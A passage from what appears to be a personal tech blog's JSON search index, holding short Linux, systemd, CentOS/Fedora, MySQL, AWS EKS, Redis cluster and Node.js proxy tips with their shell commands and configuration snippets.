lm_sensors.service\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-total-time-to-boot\"\u003eFind total time to boot\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemd-analyze\n\nStartup finished in 8.359s (firmware) + 5.486s (loader) + 2.499s (kernel) + 3.289s (initrd) + 14.384s (userspace) = 34.018s\ngraphical.target reached after 14.380s in userspace\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-the-dependencies-of-service\"\u003eFind the dependencies of service\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-dependencies --reverse plymouth-quit-wait.service\n\nplymouth-quit-wait.service\n● └─multi-user.target\n●   └─graphical.target\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-the-reverse-dependencies-of-service\"\u003eFind the reverse dependencies of service\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-dependencies  docker.service \n\ndocker.service\n● ├─containerd.service\n● ├─docker.socket\n● ├─system.slice\n● ├─network-online.target\n● └─sysinit.target\n●   ├─dev-hugepages.mount\n●   ├─dev-mqueue.mount\n●   ├─dracut-shutdown.service\n●   ├─import-state.service\n●   ├─iscsi-onboot.service\n●   ├─kmod-static-nodes.service\n●   ├─ldconfig.service\n●   ├─loadmodules.service\n●   ├─lvm2-lvmpolld.socket\n●   ├─lvm2-monitor.service\n●   ├─multipathd.service\n●   ├─nis-domainname.service\n●   ├─plymouth-read-write.service\n●   ├─plymouth-start.service\n●   ├─proc-sys-fs-binfmt_misc.automount\n●   ├─selinux-autorelabel-mark.service\n●   ├─sys-fs-fuse-connections.mount\n●   ├─sys-kernel-config.mount\n●   ├─sys-kernel-debug.mount\n●   ├─systemd-ask-password-console.path\n●   ├─systemd-binfmt.service\n●   ├─systemd-firstboot.service\n●   ├─systemd-hwdb-update.service\n●   ├─systemd-journal-catalog-update.service\n●   ├─systemd-journal-flush.service\n●   ├─systemd-journald.service\n●   ├─systemd-machine-id-commit.service\n●   ├─systemd-modules-load.service\n●   ├─systemd-random-seed.service\n●   ├─systemd-sysctl.service\n●   ├─systemd-sysusers.service\n●   ├─systemd-tmpfiles-setup-dev.service\n●   ├─systemd-tmpfiles-setup.service\n●   ├─systemd-udev-trigger.service\n●   ├─systemd-udevd.service\n●   ├─systemd-update-done.service\n●   ├─systemd-update-utmp.service\n●   ├─cryptsetup.target\n●   ├─local-fs.target\n●   │ ├─-.mount\n●   │ ├─boot-efi.mount\n●   │ ├─boot.mount\n●   │ ├─ostree-remount.service\n●   │ └─systemd-remount-fs.service\n●   └─swap.target\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-active-services\"\u003eFind Active Services\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-units --type=service --state=active\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-running-services\"\u003eFind Running Services\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-units --type=service --state=running\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-enabled-units\"\u003eFind Enabled Units\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-unit-files --state=enabled\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"find-loaded-services\"\u003eFind Loaded Services\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esystemctl list-units --type=service --state=loaded\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"view-last-boot-log\"\u003eView last boot log\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ejournalctl -b\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"view-errors-in-services\"\u003eView errors in services\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ejournalctl -xe\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"view-kernel-logs\"\u003eView kernel logs\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ejournalctl -k\n\u003c/code\u003e\u003c/pre\u003e","title":"Useful Systemd commands"},{"content":"Red Hat has finally pulled the plug on the CentOS\nAnnouncement: CentOS Linux 8 is EOL of December 31st 2021\nCentOS which has been backbone of all the major servers, there are alternatives now out there such as Rocky Linux and Alma Linux which claim 1:1 binary compatibility with RHEL\nIf you are a desktop user such as me, its better to migrate to Fedora\nAlso, if you are getting error such as\nFailed to download metadata for repo \u0026#39;appstream\u0026#39; CentOS team has moved all their packages from mirrorlist.centos.org to vault.centos.org\nRunning below commands should solve the problem\nsed -i \u0026#39;s/mirrorlist/#mirrorlist/g\u0026#39; /etc/yum.repos.d/CentOS-* sed -i \u0026#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g\u0026#39; /etc/yum.repos.d/CentOS-* ","permalink":"https://madhur.co.in/blog/2022/02/05/centos-is-dead.html","summary":"\u003cp\u003e\u003ca href=\"https://www.redhat.com/en\"\u003eRed Hat\u003c/a\u003e has finally pulled the plug on the \u003ca href=\"https://www.centos.org/\"\u003eCentOS\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.centos.org/news-and-events/1322-october-centos-dojo-videos/\"\u003eAnnouncement: CentOS Linux 8 is EOL of December 31st 2021\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eCentOS which has been backbone of all the major servers, there are alternatives now out there such as \u003ca href=\"https://rockylinux.org/\"\u003eRocky Linux\u003c/a\u003e and \u003ca href=\"https://almalinux.org/\"\u003eAlma Linux\u003c/a\u003e which claim 1:1 binary compatibility with \u003ca href=\"https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux\"\u003eRHEL\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIf you are a desktop user such as me, its better to migrate to \u003ca href=\"https://getfedora.org/\"\u003eFedora\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAlso, if you are getting error such as\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eFailed to download metadata for repo \u0026#39;appstream\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eCentOS team has moved all their packages from mirrorlist.centos.org to vault.centos.org\u003c/p\u003e","title":"CentOS is dead"},{"content":"Quick tip to increase your boot loader resolution in Grub2.\nThe key is to set GRUB_TERMINAL_OUTPUT to gfxterm and provide some resolution modes appropriate for your monitor in GRUB_GFXMODE parameter.\nGRUB_TIMEOUT=5 GRUB_DISTRIBUTOR=\u0026#34;$(sed \u0026#39;s, release .*$,,g\u0026#39; /etc/system-release)\u0026#34; GRUB_DEFAULT=saved GRUB_DISABLE_SUBMENU=true GRUB_TERMINAL_OUTPUT=\u0026#34;gfxterm\u0026#34; GRUB_CMDLINE_LINUX=\u0026#34;crashkernel=512m selinux=0\u0026#34; GRUB_DISABLE_RECOVERY=\u0026#34;true\u0026#34; GRUB_ENABLE_BLSCFG=true GRUB_GFXMODE=3840x2160,2560x1440,1920x1080x16 Optionally, you can also provide a custom font using\nGRUB_FONT=/boot/grub2/unicode.pf2 There are other solutions on the internet suggesting to use vbeinfo or videoinfo.\nThese solutions do not seem to work for newer systems which boot using EFI\n","permalink":"https://madhur.co.in/blog/2022/01/30/increase-grub2-resolution-centos.html","summary":"\u003cp\u003eQuick tip to increase your boot loader resolution in Grub2.\u003c/p\u003e\n\u003cp\u003eThe key is to set \u003ccode\u003eGRUB_TERMINAL_OUTPUT\u003c/code\u003e to \u003ccode\u003egfxterm\u003c/code\u003e and provide some resolution modes appropriate for your monitor in \u003ccode\u003eGRUB_GFXMODE\u003c/code\u003e parameter.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_TIMEOUT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_DISTRIBUTOR\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"k\"\u003e$(\u003c/span\u003esed \u003cspan class=\"s1\"\u003e\u0026#39;s, release .*$,,g\u0026#39;\u003c/span\u003e /etc/system-release\u003cspan class=\"k\"\u003e)\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_DEFAULT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003esaved\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_DISABLE_SUBMENU\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_TERMINAL_OUTPUT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;gfxterm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_CMDLINE_LINUX\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;crashkernel=512m selinux=0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_DISABLE_RECOVERY\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_ENABLE_BLSCFG\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_GFXMODE\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e3840x2160,2560x1440,1920x1080x16\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOptionally, you can also provide a custom font using\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGRUB_FONT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e/boot/grub2/unicode.pf2\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThere are other solutions on the internet suggesting to use \u003ccode\u003evbeinfo\u003c/code\u003e or \u003ccode\u003evideoinfo\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThese solutions do not seem to work for newer systems which boot using \u003ca href=\"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface\"\u003eEFI\u003c/a\u003e\u003c/p\u003e","title":"Increase Grub2 Resolution in CentOS / Fedora"},{"content":"Have been using Fedora as my desktop OS for quite some time now. Here are some of the thigns that has helped:\nUse Snap and Flatpak My preferred way of installing applications is through Snap, Flatpak, Homebrew first and if they are not available in these channels, then only I revert to rpm\nUse Zsh Bash is the default shell in these OS. If youo are using for daily use, zsh helps a lot\nInstall better fonts The font rendering in linux is far behind from Mac / Windows. Use these fonts in terminal / code editors to have better experience. Its still lags behind Mac / Windows though.\nSource Code Pro\nJetBrains Mono\nConsolas\nFira Code\nInstall latest kernel The default kernel is usually older. If you are using latest hardware, installing the latest kernel version really helpsp if you are facing some non-detected hardware issue such as Wifi. Installing latest kernel is as easy as following these steps:\nsudo dnf update -y sudo dnf -y install https://www.elrepo.org/elrepo-release-8.el8.elrepo.noarch.rpm # Install mainline kernels sudo dnf --enablerepo=elrepo-kernel install kernel-ml sudo dnf --enablerepo=elrepo-kernel install kernel-ml-{devel,headers} sudo reboot Verify latest kernel\nuname -r Configure display scaling and text scaling If you are using a high resolution 4k monitor, chance are that you will find text and icons too small for daily use. This is not just true for Linux, its true for Windows as well. Its just that Windows will act smart and automatically enable scaling to make display look sharp. In Linux, you will have to do it manually. There are two options: Display scaling and text scaling. It is important to understand the difference between two.\nDisplay scaling scales all the screen elements including the windows, icons and text by a fraction, whereas text scaling only scales the text.\nIn my case, display scaling was resulting in icons looking blurry. Text scaling preserved the icon scaling but scaled only the text resuling in overall great display.\nI would leave upto you to determine what works best for you.\nAdditional resources:\nThe perils of running Windows 10 on a 4K monitor\nDisplay scaling introduced in Cinnamon\nDisable SELinux SELinux is not really required for desktop linux. Its best to disable it.\nvi /etc/sysconfig/selinux SELINUX=disabled Disable Firewalld For pure desktop usage, firewall is not at all required. Though it depends upon the type of network you are using. For public wifi networks, it is definitely required. For home networks, it can be disabled.\nsystemctl disable firewalld Install Conky for System monitoring The default system monitor linux app is not at all comprehensive and is not the kind of app you would want to look at again and again. For system monitoring, I recommend Conky\nIt needs bit of configuration and tweaks depending upon the hardware installed. But once configured, it works beatifully. You can have a look at my configuration here\nInstall imwheel for Mouse wheel scroll customization Linux apart from all the advancements, lacks basic feature of customizing mouse wheel scroll length / sensitivity.\nThough KDE has recently introduced this feature, other desktop still lack it.\nYou can use imwheel for this. Its not perfect, but it gets the job done with some minor quirks.\nI use the following configuration in ~/.imwheelrc\n\u0026#34;.*\u0026#34; None, Up, Up, 9 None, Down, Down, 9 Install Development Tools and Multimedia codecs This is something basic. If you want to become even an intermediate user in Linux, it will require knowledge of compiling and building source code. For that you will need dev tools such as GCC, Meson and Ninja\nWifi Issues If you are using Wifi on these OS, there are some services which do not start until Wifi has come up. There will be a warning during startup\nA start job is running for wait for network to be configured\nIn that case, to disable the wait-online service to prevent the system from waiting on a network connection, and use\nsystemctl disable NetworkManager-wait-online ","permalink":"https://madhur.co.in/blog/2022/01/23/fedora-centos-tips-tricks.html","summary":"\u003cp\u003eHave been using Fedora as my desktop OS for quite some time now. Here are some of the thigns that has helped:\u003c/p\u003e\n\u003ch3 id=\"use-snap-and-flatpak\"\u003eUse Snap and Flatpak\u003c/h3\u003e\n\u003cp\u003eMy preferred way of installing applications is through \u003ca href=\"https://snapcraft.io/docs/installing-snap-on-centos\"\u003eSnap\u003c/a\u003e, \u003ca href=\"https://flatpak.org/\"\u003eFlatpak\u003c/a\u003e, \u003ca href=\"https://brew.sh/\"\u003eHomebrew\u003c/a\u003e first and if they are not available in these channels, then only I revert to \u003ca href=\"https://rpm.org/\"\u003erpm\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"use-zsh\"\u003eUse Zsh\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://www.gnu.org/software/bash/\"\u003eBash\u003c/a\u003e is the default shell in these OS. If youo are using for daily use, \u003ca href=\"https://www.zsh.org/\"\u003ezsh\u003c/a\u003e helps a lot\u003c/p\u003e\n\u003ch3 id=\"install-better-fonts\"\u003eInstall better fonts\u003c/h3\u003e\n\u003cp\u003eThe font rendering in linux is far behind from Mac / Windows. Use these fonts in terminal / code editors to have better experience. Its still lags behind Mac / Windows though.\u003c/p\u003e","title":"Fedora / CentOS Tips \u0026 Tricks - running it as Desktop OS"},{"content":"A very nifty and quick way to compare two mysql databases is to use mysqldump command. This also works well if you just want to compare DDL\nmysqldump -d --skip-comments --skip-extended-insert -u root -p -h mysql.host db1 \u0026gt; db1.sql mysqldump -d --skip-comments --skip-extended-insert -u root -p -h mysql.host db2 \u0026gt; db2.sql diff db1.sql db2.sql ","permalink":"https://madhur.co.in/blog/2022/01/16/quickly-compare-two-mysql-databases.html","summary":"\u003cp\u003eA very nifty and quick way to compare two mysql databases is to use \u003ccode\u003emysqldump\u003c/code\u003e command. This also works well if you just want to compare DDL\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emysqldump -d --skip-comments --skip-extended-insert -u root -p -h mysql.host db1  \u0026gt; db1.sql   \nmysqldump -d --skip-comments --skip-extended-insert -u root -p -h mysql.host db2 \u0026gt; db2.sql   \ndiff db1.sql db2.sql\n\u003c/code\u003e\u003c/pre\u003e","title":"Quickly Compare two MySQL databases"},{"content":"If you have recently moved towards Kubernetes from EC2 and getting forbidden error while accessing AWS services make sure to have aws-sts in classpath.\nIn nutshell, the following dependency must be present\n\u0026lt;!-- https://mvnrepository.com/artifact/com.amazonaws/aws-java-sdk-sts --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;com.amazonaws\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;aws-java-sdk-sts\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.12.136\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; The corresponding dependency for the AWS SDK v2 will be\n\u0026lt;!-- https://mvnrepository.com/artifact/software.amazon.awssdk/sts --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;software.amazon.awssdk\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;sts\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.16.24\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; This is because the credential provider which is concerned with loading the credentials from EKS role lies in sts module\nhttps://github.com/aws/aws-sdk-java/blob/7bf0fbec42de8a7d54875510f27fb363ca2d19f5/aws-java-sdk-sts/src/main/java/com/amazonaws/services/securitytoken/internal/STSProfileCredentialsService.java\n","permalink":"https://madhur.co.in/blog/2022/01/09/forbidden-aws-eks.html","summary":"\u003cp\u003eIf you have recently moved towards Kubernetes from EC2 and getting forbidden error while accessing AWS services make sure to have aws-sts in classpath.\u003c/p\u003e\n\u003cp\u003eIn nutshell, the following dependency must be present\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e\u0026lt;!-- https://mvnrepository.com/artifact/com.amazonaws/aws-java-sdk-sts --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;dependency\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;groupId\u0026gt;\u003c/span\u003ecom.amazonaws\u003cspan class=\"nt\"\u003e\u0026lt;/groupId\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;artifactId\u0026gt;\u003c/span\u003eaws-java-sdk-sts\u003cspan class=\"nt\"\u003e\u0026lt;/artifactId\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;version\u0026gt;\u003c/span\u003e1.12.136\u003cspan class=\"nt\"\u003e\u0026lt;/version\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/dependency\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe corresponding dependency for the AWS SDK v2 will be\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e\u0026lt;!-- https://mvnrepository.com/artifact/software.amazon.awssdk/sts --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;dependency\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;groupId\u0026gt;\u003c/span\u003esoftware.amazon.awssdk\u003cspan class=\"nt\"\u003e\u0026lt;/groupId\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;artifactId\u0026gt;\u003c/span\u003ests\u003cspan class=\"nt\"\u003e\u0026lt;/artifactId\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;version\u0026gt;\u003c/span\u003e2.16.24\u003cspan class=\"nt\"\u003e\u0026lt;/version\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;scope\u0026gt;\u003c/span\u003etest\u003cspan class=\"nt\"\u003e\u0026lt;/scope\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/dependency\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis is because the credential provider which is concerned with loading the credentials from EKS role lies in sts module\u003c/p\u003e","title":"Forbidden error while accessing AWS services on Kubernetes"},{"content":"If you want to provision a test redis cluster for yourself, I recently created an automated solution using Vagrant and Ansible\nGit clone the repository https://github.com/madhur/redis-cluster-vagrant and use vagrant up command to bring up the five Centos 7 nodes.\nOnce the nodes are up, the ansible playbook setup-redis.yml can be executed which will install redis on all the five nodes.\nansible-playbook playbooks/setup-redis.yml The ansible playbook provisions four redis process on each node running on different ports.\nOnce the redis is setup, the execute the below command by sshing into any of the nodes (ex vagrant ssh redis1) to form the cluster\nredis-cli --cluster create 192.168.56.10:7000 192.168.56.10:7001 192.168.56.11:7002 192.168.56.11:7003 192.168.56.12:7004 192.168.56.12:7005 192.168.56.13:7006 192.168.56.13:7007 192.168.56.14:7008 192.168.56.14:7009 192.168.56.10:6008 192.168.56.10:6009 192.168.56.11:6000 192.168.56.11:6001 192.168.56.12:6006 192.168.56.12:6007 192.168.56.13:6004 192.168.56.13:6005 192.168.56.14:6002 192.168.56.14:6003 --cluster-replicas 1 Cluster info and nodes output\n[vagrant@redis1 ~]$ redis-cli -c -p 7000 127.0.0.1:7000\u0026gt; cluster info cluster_state:ok cluster_slots_assigned:16384 cluster_slots_ok:16384 cluster_slots_pfail:0 cluster_slots_fail:0 cluster_known_nodes:20 cluster_size:10 cluster_current_epoch:26 cluster_my_epoch:1 cluster_stats_messages_ping_sent:21962 cluster_stats_messages_pong_sent:21933 cluster_stats_messages_fail_sent:19 cluster_stats_messages_auth-ack_sent:6 cluster_stats_messages_update_sent:4 cluster_stats_messages_sent:43924 cluster_stats_messages_ping_received:21914 cluster_stats_messages_pong_received:21920 cluster_stats_messages_meet_received:19 cluster_stats_messages_fail_received:51 cluster_stats_messages_auth-req_received:6 cluster_stats_messages_received:43910 127.0.0.1:7000\u0026gt; cluster nodes 6e5264f6eb7430bf17255019d826a5e4358f6295 192.168.56.10:7001@17001 master - 0 1638032107272 2 connected 8192-9829 00073613e6b6227e63c503012846b89b9644d57e 192.168.56.10:6008@16008 master - 0 1638032106770 25 connected 14746-16383 cbf1264f74e929815df87cb83db7a68400a5bb6f 192.168.56.11:6001@16001 slave 6e5264f6eb7430bf17255019d826a5e4358f6295 0 1638032107000 2 connected 5ed583e52a38b5e7a01adf24b3048b18f5e03732 192.168.56.11:6000@16000 slave be3a72b4386d4c235717d11ae6d5cf456d9ae3cf 0 1638032107272 1 connected 1dab38a32885b6edaa84939ba1a8f21eb3b0756e 192.168.56.12:7004@17004 master - 0 1638032107675 5 connected 3277-4914 be3a72b4386d4c235717d11ae6d5cf456d9ae3cf 192.168.56.10:7000@17000 myself,master - 0 1638032102000 1 connected 0-1637 cc0bf33f88da4c0a987040c0abb61de9274e4c2e 192.168.56.11:7003@17003 master - 0 1638032107000 4 connected 9830-11468 d937a08e1ad1e81743a83a47d14d391aaf322cda 192.168.56.14:6003@16003 slave aa1fcb5c0660937662f0c70b89dfb09186ea0f4f 0 1638032106256 8 connected 996e270ea827c7a40aab9ec17713e10e80534d92 192.168.56.13:6005@16005 slave 38bda2c495194da1bc8db1d3f3aa5316a0c31332 0 1638032106971 6 connected 7e610c0b0ab6fc8a14cb618da205c587d6a451ca 192.168.56.11:7002@17002 master - 0 1638032106770 3 connected 1638-3276 0606dd06e50bc023d5c961de12ab9420ad2319bf 192.168.56.12:6007@16007 slave cc0bf33f88da4c0a987040c0abb61de9274e4c2e 0 1638032107675 4 connected 6ca58a8fd1a2b5418d60447f96101acc7dc229e1 192.168.56.13:6004@16004 slave 1dab38a32885b6edaa84939ba1a8f21eb3b0756e 0 1638032106669 5 connected aa1fcb5c0660937662f0c70b89dfb09186ea0f4f 192.168.56.13:7007@17007 master - 0 1638032106465 8 connected 13107-14745 38bda2c495194da1bc8db1d3f3aa5316a0c31332 192.168.56.12:7005@17005 master - 0 1638032107675 6 connected 11469-13106 c53eb727d619d127336382736dae2f36b519ed1a 192.168.56.14:7009@17009 slave 00073613e6b6227e63c503012846b89b9644d57e 0 1638032107172 25 connected 8644049d5adb32c8570768d61186b6ea9307ca7a 192.168.56.10:6009@16009 master - 0 1638032107776 26 connected 6554-8191 45493186df74aea9ae31aa6d84421bbf1b0b18f1 192.168.56.14:7008@17008 slave 8644049d5adb32c8570768d61186b6ea9307ca7a 0 1638032106000 26 connected 5ba3d4ce175967027c23e48e884ca549222206b6 192.168.56.13:7006@17006 master - 0 1638032107172 7 connected 4915-6553 915aa483535504cc8ca4662bba40adbfabf95d95 192.168.56.12:6006@16006 slave 7e610c0b0ab6fc8a14cb618da205c587d6a451ca 0 1638032107172 3 connected 6f8ab10161f974f37a97b2e18a52d91878dc799d 192.168.56.14:6002@16002 slave 5ba3d4ce175967027c23e48e884ca549222206b6 0 1638032107776 7 connected ","permalink":"https://madhur.co.in/blog/2022/01/01/redis-cluster-ansible.html","summary":"\u003cp\u003eIf you want to provision a test redis cluster for yourself, I recently created an automated solution using \u003ca href=\"https://www.vagrantup.com/\"\u003eVagrant\u003c/a\u003e and \u003ca href=\"https://www.ansible.com/\"\u003eAnsible\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGit clone the repository \u003ca href=\"https://github.com/madhur/redis-cluster-vagrant\"\u003ehttps://github.com/madhur/redis-cluster-vagrant\u003c/a\u003e and use \u003ccode\u003evagrant up\u003c/code\u003e command to bring up the five Centos 7 nodes.\u003c/p\u003e\n\u003cp\u003eOnce the nodes are up, the ansible playbook \u003ccode\u003esetup-redis.yml\u003c/code\u003e can be executed which will install redis on all the five nodes.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eansible-playbook playbooks/setup-redis.yml\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe ansible playbook provisions four redis process on each node running on different ports.\u003c/p\u003e","title":"Provision Redis cluster through Vagrant and Ansible"},{"content":"If you want to proxy all Nodejs HTTP requests through a proxy server, just like JVM\u0026rsquo;s\n-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8888 Here is the quickest solution, without modifying the application source code\nnpm i global-agent export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8888 node -r \u0026#39;global-agent/bootstrap\u0026#39; app.js This will enable you to proxy all requests through proxy server running at 127.0.0.1 on port 8888, which could be Charles or Burp\n","permalink":"https://madhur.co.in/blog/2021/12/12/proxy-nodejs-requests.html","summary":"\u003cp\u003eIf you want to proxy all Nodejs HTTP requests through a  proxy server, just like JVM\u0026rsquo;s\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8888\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eHere is the quickest solution, without modifying the application source code\u003c/p\u003e\n\u003cdiv 